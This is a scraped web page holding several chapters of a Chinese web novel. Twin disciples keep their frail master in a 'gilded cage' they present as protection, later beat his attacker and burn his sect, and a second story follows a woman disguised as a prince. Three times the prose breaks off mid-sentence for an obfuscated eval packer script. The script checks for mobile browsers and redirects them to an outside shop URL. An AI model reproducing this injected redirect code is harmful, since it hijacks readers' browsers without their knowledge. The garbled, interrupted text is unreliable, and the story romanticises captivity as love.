他缓缓开口,声音冷得像冰,“你昨夜,偷偷来了。” 萧彻站在后面,非但没有半分心虚,反而抬着下巴,红瞳里带着一丝得意与占有,大大方方承认: “是我。” “师尊身上,就该有我的印子。” 萧烬周身戾气暴涨,几乎要动手。 可他看着榻上吓得眼泪都快掉下来、缩成一小团的沈清辞,终究还是忍了下来。 他现在舍不得吓到这人。 萧烬俯身,伸手轻轻碰了碰沈清辞腰上最浅的一道红痕,指尖极轻,生怕碰疼了他。 金瞳里戾气褪去,只剩下疯魔的心疼与占有。 “疼不疼,师尊?” 沈清辞咬着唇,拼命摇头,眼泪却不受控制地滚落下来,砸在萧烬的手背上。 烫得两人同时一颤。 他不说疼,可满身的痕迹,早已替他说了一切。 萧彻见状,立刻凑上来,不甘心地挤开兄长,伸手想去摸师尊腿上的咬痕,语气又委屈又霸道: “我没用力……我就是想标记师尊……” “下次,我轻一点好不好?” 沈清辞浑身一颤,吓得往榻里缩去,满眼都是无措的恐惧。 他现在,连哭都不敢大声哭。 晨光温柔,洒在他满身伤痕、苍白易碎的模样上,美得令人心碎。 而站在榻前的两个赤发青年,看着他身上属于自己与对方的印记,心底的执念彻底疯长。 ——这些痕迹不够。 ——要留更多,更深,更清楚。 ——要让师尊从头到脚,每一寸都刻上他们的名字。 ——要让他这辈子,再也逃不开,忘不掉。 沈清辞蜷缩在软榻深处,捂着自己的腰,眼泪无声滑落。 他知道。 从这一刻起,他再也没有任何隐私,没有任何退路。 这满身的红痕咬痕,只是他们囚禁他、占有他、痴守他的,第一步。 暖雾氤氲,水声轻响。 温泉池内热气袅袅,漫过沈清辞单薄的肩线,将他苍白的肌肤蒸得泛起一层薄红。他被两人护在池水中央,萧烬正以柔软巾布轻轻擦拭他的后背,动作克制却稳实,生怕碰疼了他腰上那些深浅不一的红痕。萧彻则托着他纤细的手腕,指尖轻缓地掠过他指缝,细细清洗,目光却黏在师尊身上,一刻也不肯挪开。 三人之间维持着一种诡异又紧绷的平静,直到萧烬低沉开口,金瞳冷冽如淬冰: “你昨夜咬得太深,师尊腰上的伤,三日都褪不下去。” 萧彻当即红瞳一眯,瞬间炸毛,语气又傲又横:“你管我?师尊身上留我的印子,天经地义!倒是你,三年前就只会装模作样,现在还不是抢着渡药、抢着抱人?” “我至少不会趁他睡着偷偷潜入。” “你——!” 两人声音陡然拔高,灵力微动,温泉面上溅起细碎水花。沈清辞被夹在中间,本就病弱的肩膀猛地一颤,慌忙抬起手,一手轻轻抵住一人的胸膛,嗓音细弱发颤,带着慌乱的哀求: “……别吵……” 他只是想让他们停下。 可他忘了自己此刻模样——白发湿透,贴在颈侧与苍白脸颊,眼尾还凝着昨夜未散的红。池水漫至胸口,单薄肩骨从水面露出,锁骨深陷,整个人如雨中折枝的白梅,脆弱得一触即碎。 他抵在两人胸前的手纤细微凉,带着水汽轻轻发抖,那点微弱力道不是推拒,更像是绝望里的轻依。 萧烬与萧彻同时僵住。 目光落在师尊惶然无措的脸上,再落至那只抵在胸口、微微蜷起的手,腕骨清瘦,淡青血管隐约可见,看得人心尖发紧。 空气骤然凝滞。 “师尊……”萧烬喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈清辞被裹在两片温热之间,肩头与颈侧泛起细密的痒意,混着腰上未消的疼,让他整个人都在轻轻发抖。他想躲,想缩,可每一次挣动,都只会让两人抱得更稳。 “不要……别这样……”他哭着去推萧烬的肩,指尖软得毫无力气,“求你们……” 那一声“求”,让萧烬眼底最后一丝冷硬尽数化作心疼。他抬手,指腹轻轻拭去他眼角的泪,动作温柔得近乎小心翼翼:“我们不伤你,只是不想再失去你。” 萧彻也跟着放软了声音,下巴轻轻抵在他发顶,闷声道:“以后温泉我们陪你,伤我们替你护着,谁也不能再让你疼。” 暖雾缭绕,水声轻缓。 沈清辞被两人一左一右护在池心,再也挣不开,也躲不掉。他看着水面上自己模糊的倒影,看着腰侧那些层层叠叠的红痕,眼泪无声滑落。 他终于明白。 这场争执从不是真的怒目相对,而是一场温柔的围捕。 以关心为网,以执念为绳,将他牢牢困在这片温水之中,再也无处可逃。 萧烬俯身,将他轻轻打横抱起,踏出温泉池。萧彻立刻展开宽大软巾,小心翼翼将他裹紧,两人一左一右将他护在中央,步伐稳而轻。 “夜深了,回房歇息。” 沈清辞闭上眼,将脸埋入柔软布料之中。 他知道,今夜之后,那些旧痕之上,会多上无数温柔而偏执的印记。 而他,终将在这座华美囚笼里,成为两人此生唯一的执念与归处。 30. 牛奶味夹心饼干·四·完 日子在一片吵吵闹闹里慢慢滑过。 沈清辞的身子,确确实实一天比一天好了。 萧烬与萧彻不知从何处寻来无数天材地宝,灵食、汤药、温养经脉的熏香日夜不断,再加上温泉日日浸泡、两人寸步不离的照拂,不过短短旬日,他那张原本苍白得近乎透明的脸,便渐渐染上了浅淡的血色。 原本凹陷的脸颊慢慢圆润了些许,下颌线柔和了不少,肩背也不再是那副一碰就碎的单薄模样,细细的手腕捏在手里,终于多了一点点细腻的肉感,不再只剩硌手的骨头。 整个人像一株久旱逢雨的白梅,慢慢舒展开枝桠,重新透出清润又柔软的生气。 只是这住所里,依旧日日不得安宁。 兄弟俩的争吵从未停过。 为了谁先给师尊递点心吵,为了谁扶师尊起身吵,为了谁坐在师尊身边更近一点吵,甚至为了谁先替师尊理好一缕乱发,都能瞪着眼争执半天。 “师尊的披风我来披。” “凭什么?昨天就是你。” “我手稳,不会冻着师尊。” “我手暖!师尊更喜欢我暖的!” 沈清辞坐在软榻上,看着眼前两个修为足以掀翻宗门的强者,像孩童似的拌嘴,原本紧绷的心弦,竟在不知不觉间松了些许。 他不再像最初那样整日惶恐、整夜难眠,也不再一见到他们靠近就下意识发抖。 偶尔被萧烬安静地拢好衣襟,或是被萧彻笨拙地塞来一块甜软的糕饼,他甚至会轻轻抬眼,小声道一句: “……谢谢。” 每每这时,方才还吵得不可开交的两人,会同时僵住,然后不约而同地放轻声音、放缓动作,连呼吸都变得小心翼翼。 萧烬会耳尖微热,别开脸却忍不住偷偷看他; 萧彻会立刻咧嘴笑,红瞳亮得惊人,恨不得把所有好东西都堆到他面前。 沈清辞低头看着自己渐渐有了血色的指尖,再摸了摸不再硌得慌的腰侧,心底一片复杂。 他逃不掉,也躲不开。 可这份以囚禁为名的陪伴,却实实在在地,把他从濒死的边缘一点点拉了回来。 暖日透过窗棂洒进来,落在他微润的白发上,镀上一层浅金。 萧烬轻轻替他盖上薄毯,萧彻蹲在榻边,小心翼翼摸着师尊终于长了点肉的手腕,小声嘀咕: “师尊再胖一点点更好看……” “别乱碰。” “我就碰!” “师尊现在身子刚好,不许闹他。” “你才闹!” 两人又开始低声争执。 沈清辞轻轻叹了口气,却没有像从前那样害怕。 他只是安静地坐着,任由暖光裹住自己,听着耳边熟悉的吵闹声,第一次觉得—— 这座金碧辉煌的牢笼,好像……也没那么冷了。 日子越是安稳,沈清辞心底那根隐秘的刺,就越是扎得生疼。 他必须回一趟宗门。 不为别的,只为三年前,在把萧烬、萧彻狠心逐走之后,他在宗门外的街角捡回来的那个孩子。 孩子今年才八岁。 当年遇见时才五岁,缩在冰冷的大街上,被人打得遍体鳞伤,小小的身子蜷成一团,哭得撕心裂肺,一遍遍地喊着救命。 沈清辞那时灵脉已毁,毒根深种,自身都难保,却还是没忍住把人带回了宗门。 他给孩子取了小名,叫阿念。 念的是昔日安稳,念的是身不由己,更是念着那两个被他亲手推开、再也不敢相见的徒弟。 他一直怕。 怕当年那个给他下毒、逼他赶走萧烬萧彻的人,会把恨意转移到孩子身上,斩草除根。 可他万万没想到,对方从头到尾,连看都没看那孩子一眼。 只因阿念灵根浅薄、资质平庸,在那人眼里,就是个一辈子都练不出什么修为的废物,根本不配成为他的威胁,更不值得动手。 可笑,又心酸。 他以命相护,以决裂为代价,以三年颠沛流离换回来的平安,在那人眼里,竟一文不值。 而这件事,他死都不能让萧烬和萧彻知道。 只要一想到那两个已经偏执到疯魔的徒弟,一旦得知—— 他当年“抛弃”了他们,转头却收养了一个孩子,护在身边整整三年,疼着、宠着、瞒着…… 他们会暴怒,会失控,会把所有的委屈与恨意全部炸开。 他们会恨他偏心。 会恨他心狠。 会恨他明明可以护着别人,却偏偏要赶他们走。 沈清辞不敢赌。 他如今身子刚好,身上长了些肉,气色也暖了,可一想起阿念一个人待在冷清的偏院,无人照料,无人说话,他就整夜整夜地睡不安稳。 孩子才八岁。 怕黑,怕打雷,怕孤单,身上还有当年留下的旧伤。 他必须回去一趟,悄悄看一眼,送些衣物和银两,确认阿念平安无事,再悄悄回来。 就一次,不惊动任何人,更绝对不能让那两兄弟发现。 这日午后,趁着萧烬去处理外面的事务、萧彻在厨房闹着要给师尊做甜汤的间隙,沈清辞攥紧了藏在枕下的小布包,指尖微微发抖。 他看着窗外暖融融的日光,又摸了摸自己渐渐有了力气的手腕,心底又慌又涩。 他不是不爱那两个养大的孩子。 只是有些苦衷,不能说,不能认,一碰就是万劫不复。 而他怀里藏着的,是一个连阳光都照不到的、八年的小秘密。 只要这一次,只要见阿念一面…… 他就回来,安安静静待在他们身边,再也不胡思乱想。 沈清辞深吸一口气,苍白的唇微微抿紧,轻手轻脚地推开了房门。 他不知道的是—— 在他转身离开的那一刻,两道早已等候多时的气息,悄无声息地落在了他身后。 金瞳与红瞳,冷得像冰 暮色沉落,晚风带着微凉的湿意。 沈清辞特意绕开大路,专拣偏僻狭窄的小巷穿行,裙摆被墙角碎石勾出几道细痕,也不敢放慢脚步。他只想尽快见到阿念,确认孩子平安,再立刻悄无声息地回去——绝不能让萧烬和萧彻察觉到分毫。 可他太清楚,自己早已不是当年受人敬重的师尊。 三年前被逐、灵脉受损、殿宇被占,如今的他,只能缩在宗门最角落、最阴冷的偏殿里,和那个无人在意的孩子相依为命。 他低着头,尽量将身形藏在阴影里,只想快步闪进偏殿院门。 怕什么,便来什么。 一道身影斜斜倚在门框上,笑意阴鸷,目光像毒蛇一样缠上他。 是当年那个下毒、逼他亲手赶走萧烬萧彻的人。 沈清辞心脏猛地一沉,脚步僵在原地,脸色瞬间褪得惨白。 “我当是谁呢,原来是失踪多日的沈师尊。” 对方慢悠悠开口,语气里的恶意毫不掩饰,目光从上到下将他扫了一遍,最后落在他微微圆润了些许的脸颊与手腕上,嗤笑一声,字字淬毒: “几日不见,倒是长肉了。看来这日子过得不错啊——怎么,找到新的靠山了?还是说……你是卖身换回来的好日子?” 沈清辞浑身一颤,指尖死死攥紧,声音发哑:“你……胡说八道什么。” “胡说?”那人上前一步,压低声音,字字羞辱,“你每次偷偷摸摸出去,不就是出去卖吗?不然凭你这废灵脉,能吃得饱、穿得暖?能养得这般细皮嫩肉?” 恶毒的话语砸在身上,比寒冬的冰刃还要刺骨。 沈清辞脸色惨白如纸,嘴唇哆嗦着,一个字也反驳不出。 他最不堪的隐痛,被人赤裸裸地扒开,踩在脚下践踏。 那人见他不说话,更加得意,目光一转,扫向偏殿内那个正怯怯探出头的小小身影——八岁的阿念,缩在门后,吓得小脸发白,紧紧攥着衣角。 “哦对了,还有你这捡来的小废物。” 那人嗤笑,语气轻蔑到了极致,“灵根差,底子烂,一辈子都是个没用的东西,也就你把他当个宝。我当初懒得杀,不是怕你,是觉得脏了我的手。” 阿念吓得哇一声哭了出来,往沈清辞身后躲。 沈清辞立刻将孩子护在身后,脊背绷得笔直,声音发颤却依旧强撑:“你别碰他,有什么冲我来。” “冲你来?” 那人眼神一厉,再也没有半分掩饰。 抬手,狠狠一推。 “砰——” 沈清辞本就刚好不久的身体哪里经得起这一下,踉跄着向后倒去,后背重重撞在冰冷的墙壁上,疼得他眼前一黑。 他还没来得及喘口气,胸口又被狠狠一拳砸中。 “唔——” 剧痛炸开,他弯下腰,几乎窒息。 紧接着,一脚狠狠踹在他膝弯。 沈清辞双腿一软,扑通一声跪倒在地。 青砖地面冰凉刺骨,膝盖瞬间传来尖锐的疼。他想爬起来,想护住身后的阿念,可对方的脚又一次落下,踹在他单薄的肩背,将他整个人踩得趴伏在地。 尘土沾湿了他的白发,屈辱与剧痛一同涌上来。 “就你这样的废物,也配当师尊?也配护着人?” 那人居高临下,一脚碾着他的后背,笑得残忍,“我告诉你,你这辈子都只能被人踩在脚下——包括你那两个早就被你抛弃的徒弟,若知道你现在这副样子,只会觉得恶心。” 沈清辞趴在地上,浑身发抖,眼泪混着冷汗滑落。 他疼得说不出话,心里只有一个念头—— 不能让阿念有事。 不能让萧烬、萧彻知道这一切。 可他不知道。 巷子口的阴影里,两道浑身戾气的身影,早已将这一切,尽收眼底。 金瞳赤红,红瞳染血。 空气里,是足以将整个宗门焚毁的暴怒。 暮色刚沉,巷口的风忽然冷得刺骨。 那恶人还踩在沈清辞背上,羞辱的话刚到嘴边,整个人却猛地被一股无形巨力狠狠掀飞。 “嘭——” 他像片破布砸在墙上,一口血当场喷出来。 萧烬与萧彻一前一后,从阴影里走出来。 金瞳与红瞳,此刻都染满了能焚尽一切的戾气。 他们一路跟着师尊,看着他绕远路、看着他紧张、看着他回这个早就不属于他的宗门。 本只是想知道他藏了什么秘密。 直到看见那人推他、打他、踹他、用最肮脏的话羞辱他。 看见师尊苍白着脸跪在地上,把那个八岁孩子死死护在身后。 那根绷了三年的弦,断了。 “你刚才……碰他哪里了?” 萧烬声音平静,却冷得让人血液结冰。 恶人还想逞强放狠话,萧彻已经一步上前,单手扼住他的咽喉,直接提离地面。 红瞳里没有半分温度:“你骂他什么?再说一遍。” “你、你们是……” 那人终于认出这两张脸——当年被沈清辞亲手逐走的双生徒弟。 恐惧瞬间淹没他。 “饶、饶命——” 萧彻懒得听。 手腕一拧,只听一声脆响,那人再也发不出声音。 不是死,是生不如死。 沈清辞趴在地上,吓得浑身发抖,声音破碎: “别……别杀人……别闹大……” 他一开口,声音哑得全是伤痕。 兄弟俩同时回头,看见他白发沾尘、衣衫凌乱、膝盖磨破、肩背凹陷,脸上还有未干的泪。 萧烬心口像是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261126|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活生生剜了一块。 所有理智,瞬间烧成灰烬。 “师尊在这里……受过多少苦?” 他轻声问,语气却带着焚山煮海的怒。 萧彻看着那个吓得缩在一旁的八岁孩子,再看师尊护着他的模样,心头一刺,可此刻,那点醋意早被滔天愤怒盖过。 谁都可以欺负他们,就是不能碰他的师尊。 “哥,别问了。” 萧彻抬眼,望向这座藏满师尊屈辱的宗门,“烧了。” 萧烬没有半点犹豫。 他抬手,灵力翻涌如海啸,金色火焰瞬间攀上殿角。 萧彻指尖一扬,赤色火浪席卷偏殿、长廊、山门。 “轰——!!” 火光冲天,照亮半边天空。 木石燃烧的爆裂声此起彼伏,曾经高高在上的宗门,在 pair 双徒怒火中,一寸寸化为火海。 所有人惊慌奔逃,哭喊震天。 没人敢靠近那两道立于火前的身影。 沈清辞惊呆了,挣扎着想爬起来: “不要……这是宗门……你们别这样——” 萧烬转身,快步走到他面前,单膝跪下,小心翼翼将他打横抱起。 动作轻得像抱着一碰就碎的琉璃,与刚才焚山的暴怒判若两人。 “师尊不怕。” 他低头,额头抵着沈清辞冰凉的额头,声音哑得发颤, “以后,没有任何人能再欺负你。” “没有任何地方,能再让你受委屈。” 萧彻一把抱起吓傻的阿念,跟在一旁,红瞳里依旧戾气未消,却牢牢护着两人。 “以后谁让师尊疼,我就烧谁。” 大火熊熊,将旧地烧成灰烬。 沈清辞靠在萧烬怀里,看着漫天火光,眼泪无声落下。 有疼,有怕,有慌,也有一丝连自己都不敢承认的、被人拼命护住的酸涩暖意。 他藏了三年的秘密,被撞破了。 他护了三年的地方,被烧光了。 可这一次,他不用再一个人扛了。 萧烬抱着他,一步步走出火海。 萧彻抱着阿念,紧紧相随。 火光在他们身后熄灭,新的囚笼,却在前方温柔铺开。 这一次,是用命护着的牢笼。 漫天火光在身后越烧越旺,将暮色染得通红。 萧烬一路将沈清辞抱得极稳,掌心轻轻托着他的膝弯,生怕碰到他身上刚添的伤。萧彻则抱着吓懵了的阿念,亦步亦趋跟在旁边,一路都没再吵嘴,只是周身戾气还没完全散掉。 直到远离了火海,回到僻静的住处,萧烬才小心翼翼将沈清辞放在软榻上,蹲下身,一言不发地去撩他的衣摆。 沈清辞猛地一缩,下意识攥住衣襟,脸色白得吓人。 他怕。 怕他们质问,怕他们发怒,怕他们知道自己在赶走他们之后,居然还偷偷捡了个孩子养着。 萧烬指尖一顿,没有强迫,只是抬眼望着他,金瞳里没有怒火,只有沉沉的疼: “师尊,让我们看看伤。” “我们不凶你。” 萧彻把阿念放在角落的小凳子上,也凑了过来,红瞳盯着沈清辞膝盖上磨破的血迹,声音闷闷的: “我们只是……心疼。” 沈清辞看着两人眼底毫不掩饰的担忧,紧绷的身子一点点软了下来。眼泪先一步掉了下来,砸在手背上。 “我……”他开口,声音轻得发颤,“我没有要抛弃你们……当年赶你们走,是因为他给我下了毒,以你们的命威胁我。我只能那么做……” 萧烬和萧彻同时一僵。 “我不敢告诉你们,不敢让你们回头,我怕我一犹豫,他就真的对你们下手。” 沈清辞捂住脸,眼泪从指缝里渗出来,“我以为把你们赶走,你们就能活着,能平安……” 萧烬喉结狠狠一动,伸手轻轻握住他的手。 “后来我在街边捡到阿念,他那时才五岁,被人打得浑身是伤,哭着喊救命……”沈清辞看向角落里缩成一团的小孩,声音软了下来,“我看见他,就像看见当年无依无靠的你们。我护不住你们,我至少……想护住他。” “我怕你们知道了会生气,会觉得我偏心,觉得我赶走了你们,却养着别人的孩子……” 他越说越小声,肩膀不住发抖。 他以为等待自己的,会是质问、冷脸、甚至暴怒。 可下一秒,一双手轻轻将他揽进怀里。 萧烬把他小心地贴在自己胸口,声音哑得厉害: “傻师尊。” “我们不气你养他。” “我们只气你一个人扛了这么多,受了这么多苦,都不告诉我们。” 萧彻也凑过来,从另一边轻轻抱住他,下巴抵在他发顶,语气委屈又心疼: “我们气的是,你被人打、被人骂、被人欺负,我们却不在你身边。” “我们气的是,你怕我们,怕到不敢说实话。” 沈清辞整个人都愣住了。 眼泪掉得更凶,却不再是害怕,而是憋了整整三年的委屈,一下子全都涌了上来。 阿念缩在小凳子上,小声怯怯地开口: “师尊……没有不要我,也没有不要你们……” 萧彻看了小孩一眼,没再凶,只是哼了一声: “算你懂事。” 萧烬抬手,轻轻拭去沈清辞脸上的泪,动作温柔得不像话: “以后,这里就是家。” “你,我们,还有阿念,一起住。” “谁也不能再把谁赶走。” 沈清辞靠在他怀里,听着两人沉稳的心跳,看着角落里安安静静的阿念,第一次在漫长的三年里,真真切切地觉得—— 他终于,不用再一个人了。 31. 王生来这样·一 残阳如熔金,泼洒在北冥王府朱红的门楣上,将檐角悬着的寒铁风铃染得暖红。 祈昭立在王府正厅的廊下,玄色暗纹的世子蟒袍垂落至脚踝,腰束玉带,身姿挺拔如松。她微微垂着眼,长睫在眼下投出一片浅淡的阴影,清俊的面容上无半分波澜,唯有指尖无意识摩挲着腰间玉佩的动作,泄露出一丝极淡的不耐。 “王,御驾的銮仪已在府外等候。” 身后传来低沉恭敬的声音,谢随单膝跪地,玄色劲装裹着紧实利落的身形,英挺的眉眼间只剩对眼前人的全然臣服。他是祈昭从乱葬岗旁捡回来的孤儿,自记事起,眼里心里便只有这一个主子,是她最锋利的刀,亦是最牢靠的盾。 祈昭缓缓抬眼,清冽的目光扫过天际沉落的夕阳,薄唇轻启,声音是常年刻意压低的、偏中性的沉哑,听不出半分女儿家的柔媚:“知道了。” 语气平淡,仿佛只是去赴一场寻常的君臣议事,而非入宫去见那个坐拥天下、却唯独对她格外“缠人”的帝王。 只有祈昭自己清楚,这早已不是第一次。自萧惊渊年少登基,她以北冥世子身份承袭北冥王位后,这样无诏却必至的傍晚召见,几乎成了常态。 外人皆道,北冥王祈昭是陛下最信任的肱骨之臣,年少封侯,权掌北疆兵权,是大曜王朝最年轻的异姓王,亦是帝王眼前第一红人。唯有祈昭知晓,萧惊渊对她的特殊,从来不止于君臣。 她转身,步履沉稳地走向府外,玄色袍角扫过青石板,不带半分拖沓。谢随起身,沉默地跟在她身后三步远的地方,目光警惕地扫过四周,将所有暗藏的视线与窥探尽数隔绝。 没有人比谢随更清楚,他的主子,这位令朝堂百官敬畏、令北疆蛮族闻风丧胆的北冥王,根本不是男子。 北冥家嫡女,这是藏在血肉里的秘密,是一旦暴露便会粉身碎骨的死罪。当年父亲祈政偏心外室所生的私生子,将她这个嫡女弃如敝履,可那私生子意外暴毙,北冥家无男丁可承袭爵位,她才被推上这个进退两难的位置,束胸裹布,剪去长发,以男子之身立于皇权与家族倾轧的漩涡中心,步步为营,如履薄冰。 知晓这个秘密的,世间仅两人。 一个是眼前寸步不离的谢随,另一个,便是那金銮殿上,九五之尊的少年帝王——萧惊渊。 銮驾平稳地行驶在朱雀大街上,车帘隔绝了外界的喧嚣,也隔绝了落日最后的余晖。祈昭倚在软榻上,微微阖目,紧绷了一日的神经终于稍稍放松。 卸下了朝堂上的冷硬肃目,褪去了北冥王的威严气场,她清俊的眉眼渐渐柔和下来,眉骨纤细,眼尾微微上挑,藏着一丝女子独有的清媚温婉,只是这份模样,从未有外人得以窥见。 她想起幼时,彼时她还未被迫扮作男子,只是北冥家娇养的嫡女,被父亲送入宫中伴读,与彼时还是太子的萧惊渊相识。 是在一个落雨的午后,她不慎跌入御花园的池塘,湿透的衣裙裹着纤细的身形,女儿身的秘密在他面前无所遁形。她以为会迎来鄙夷与告发,可萧惊渊只是脱下自己的太子袍裹在她身上,清稚却坚定的眼神望着她,轻声说:“此事,唯有天知地知,你知我知。” 从那时起,他便成了她秘密的守护者。 后来太子登基,她女扮男装承袭北冥王位,他力排众议封她为异姓王,将北疆兵权交予她手,朝堂之上,无人敢动她分毫。 所有人都以为是帝王的信任与倚重,唯有祈昭知道,那是藏在帝王威仪下,无人知晓的纵容与牵挂。 銮驾停在皇宫正门,祈昭收敛了所有柔和,再次换上那副冷冽清俊的北冥王模样,迈步下车。宫道悠长,两旁的宫灯次第亮起,暖黄的光洒在青玉石板上,映得她的身影孤高而挺拔。 无需内侍通传,萧惊渊的贴身太监早已在宫门口等候,脸上堆着恭敬又熟稔的笑:“北冥王殿下,陛下在御书房等候多时了。” 祈昭微微颔首,一言不发地跟着内侍前行。 越是靠近御书房,空气中那股清冽的龙涎香便越是浓郁,那是属于萧惊渊的味道,熟悉得让她紧绷的心弦,不自觉地松缓。 御书房的门被轻轻推开,暖阁内烧着银丝炭,暖意融融,与宫外的暮寒截然不同。 萧惊渊正坐在龙案后,一身常服,未戴冠冕,墨发以玉簪束起,少了几分朝堂上的凛冽威仪,多了几分清贵温润。他生得极美,风华绝代,眉眼间自带帝王的威仪气度,是天下女子倾心不已的模样,可此刻,他抬眼望向祈昭的目光,却褪去了所有帝王的疏离冷硬,只剩下独独对她的柔软。 “阿昭,你来了。” 他开口,声音低沉悦耳,没有称呼她为“北冥王”,也没有叫她的爵位,只用了只有两人知晓的小字,亲昵得近乎逾矩。 祈昭躬身行礼,动作标准而克制,保持着君臣的礼数:“臣,祈昭,见过陛下。” 萧惊渊看着她疏离的模样,眉尖微微一蹙,眼底掠过一丝不易察觉的委屈,像个没能得到糖的孩子,全然没了帝王的腹黑冷冽,反倒添了几分孩子气的软糯。 “不必多礼。”他抬手,语气带着显而易见的纵容,“这里没有旁人,不用守那些君臣规矩。” 祈昭直起身,站在离龙案三步远的地方,垂眸不语。 她早已习惯了。 习惯了这位权掌天下的帝王,在无人之时,卸下所有伪装,露出这般粘人又带着几分脆弱的模样。 世人皆说当今陛下冷静腹黑,杀伐果断,年少登基便以雷霆手段肃清朝野,权掌天下,冷漠疏离,无人能近其身。可只有祈昭知道,这位看似高不可攀的少年帝王,在她面前,从来都藏着不为人知的依赖,甚至……爱哭。 幼时是,如今亦是。 萧惊渊放下手中的奏折,起身走到她面前。他身形比祈昭略高一些,清贵凛冽的气息将她轻轻笼罩,目光落在她清俊的面容上,带着细细的打量,似是要穿透她男子的外衣,看见底下那个藏了多年的女儿身。 “今日在朝堂,李太傅又对你发难了?”他开口,语气带着几分不悦,“朕已经压下去了,往后有任何事,不必自己扛着。” 祈昭淡淡应道:“臣能处理。” 她向来隐忍坚韧,凡事习惯自己扛,北冥王的身份,不允许她有半分软弱。 可萧惊渊却偏偏见不得她这般克制疏离的模样,伸手,轻轻握住了她的手腕。 他的指尖温热,触碰到她手腕处细腻的肌肤时,祈昭的身子几不可查地僵了一下。她的手腕比寻常男子纤细许多,这是她极力隐藏的细节,却从来瞒不过萧惊渊的眼睛。 “阿昭,”他望着她,清贵的眉眼间染上一丝极淡的委屈,声音也放软了,“你总是这样,什么都不肯跟我说。朕是皇帝,是你的……故人,难道还护不住你吗?” 祈昭抬眼,撞进他深邃的眼眸里。 那双眼眸里,藏着天下人从未见过的温柔与在意,藏着多年默默守护的深情,藏着只有她能读懂的纵容。 她心中微动,却依旧保持着清醒。 她是北冥王,是臣子,是女子,这三重身份,注定了她与他之间,隔着君臣之礼,隔着性别之秘,隔着天下人的口舌。 可看着眼前这人,这个从幼时便护着她,登基后依旧对她百般纵容,甚至会在她面前露出委屈模样的帝王,祈昭终究是软了语气。 “陛下,臣无事。”她轻轻抽回手腕,声音依旧沉哑,却少了几分冷硬,“不过是朝堂琐事,不必放在心上。” 萧惊渊看着自己空了的手,眼底的委屈更浓了些,像个被拒绝的孩子,连耳尖都微微耷拉下来。 他知道她的隐忍,知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧惊渊就坐在她对面,安安静静地看着她,没有帝王的威严,没有腹黑的算计,只有满眼的温柔与眷恋,像个守着心爱之物的少年,纯粹而执着。 祈昭喝着蜜水,心中无奈轻叹。 她早就习惯了。 习惯了这位权倾天下的帝王,在每个傍晚,召她入宫,没有朝政,没有议事,只是这样安安静静地陪着她,偶尔说几句贴心话,偶尔露出几分粘人的委屈,甚至偶尔,会在她面前卸下所有防备,像个孩子一样倾诉心底的不安。 在外人眼中,他是冷酷无情的帝王,可在她面前,他从来都是那个会护着她、会依赖她、甚至会偷偷红了眼眶的少年。 她是北冥王,是他的臣子,是他的知己,亦是他藏在心底,不敢触碰,却又放不下的人。 而她,又何尝不是? 在这波谲云诡的朝堂之上,在这危机四伏的家族之中,萧惊渊是她唯一的底气,是她藏在冷硬外表下,唯一的安心。 谢随守在御书房外,玄色的身影立在廊下,如一尊沉默的雕塑。他知晓屋内的一切,知晓主子与帝王之间那份无人知晓的情愫,知晓主子所有的隐忍与脆弱。 他从不打扰,只是默默守着,守着他的王,守着她的秘密,守着她难得的放松时刻。 屋内,蜜水已尽,暖光缱绻。 萧惊渊看着祈昭放下玉杯,清俊的侧脸在灯下格外柔和,他忍不住轻声道:“阿昭,留下来陪朕用晚膳吧。” 语气里带着小心翼翼的期盼,像个等待回应的孩子。 祈昭抬眼,望着他清贵眉眼间的期待与纵容,终究是点了点头,声音轻得几乎听不见:“好。” 不过是陪一陪这个粘人又爱哭的人罢了。 她在心底轻轻对自己说,可眼底,却悄然漾开了一丝连自己都未曾察觉的温柔,藏在北冥王的冷冽之下,藏在女儿家的心事之中,在这暮色深沉的皇宫里,悄然绽放。 窗外,夕阳彻底沉入地平线,夜色笼罩皇城,御书房内的暖光,却成了这冰冷宫墙里,最温柔的归宿。君臣知己,青梅心事,藏在皇权与秘密之下的深情,在这静谧的傍晚,缓缓流淌,无声无息,却早已深入骨髓。 32. 王生来这样·二 残阳彻底沉落,皇城被墨色浸染,宫灯连成一串暖黄,在晚风里明明灭灭。 祈昭从御书房告辞时,萧惊渊眼底那点不舍几乎要溢出来,却也知她素来不喜在宫中久留,只反复叮嘱路上小心,又暗令禁军暗中护送。 她躬身退出,一身玄色王袍在夜色里更显冷峭,眉眼重新覆上北冥王的肃杀,步履沉稳地走出深宫。 出宫前,她便已遣退了帝王派来的护卫。 她是北冥王,手握北疆兵权,自幼在刀尖上长大,不必靠谁护行。 更何况,这一路,本就不会太平。 马车行至一条僻静夹道,晚风骤然变得凌厉。 下一刻,数道黑影从高墙两侧飞掠而下,黑衣蒙面,刃尖淬着冷光,直扑马车而来。 “有刺客——” 车夫惊呼未落,便被一道寒光封喉。 祈昭坐在车内,神色未动,指尖已握住腰间软剑。 外界皆传北冥王文武双全,武功深不可测,却无人知晓,这一身精湛剑术,是她以女儿之身,在无数个日夜咬牙苦练而来。为了活下去,为了守住北冥,为了不辜负那唯一的信任与纵容,她必须比男子更狠、更强、更决绝。 车帘被剑气撕裂的瞬间,祈昭身形如燕,翩然掠出。 玄色袍角在夜色中划过一道凌厉弧线,她拔剑、格挡、劈斩,动作行云流水,剑风凛冽,全无半分女子娇柔。剑光映着她清俊冷白的脸,眼神杀伐果决,出手快准狠,不过数息,便有两名刺客倒在剑下。 刺客显然是死士,悍不畏死,攻势愈发凶猛。 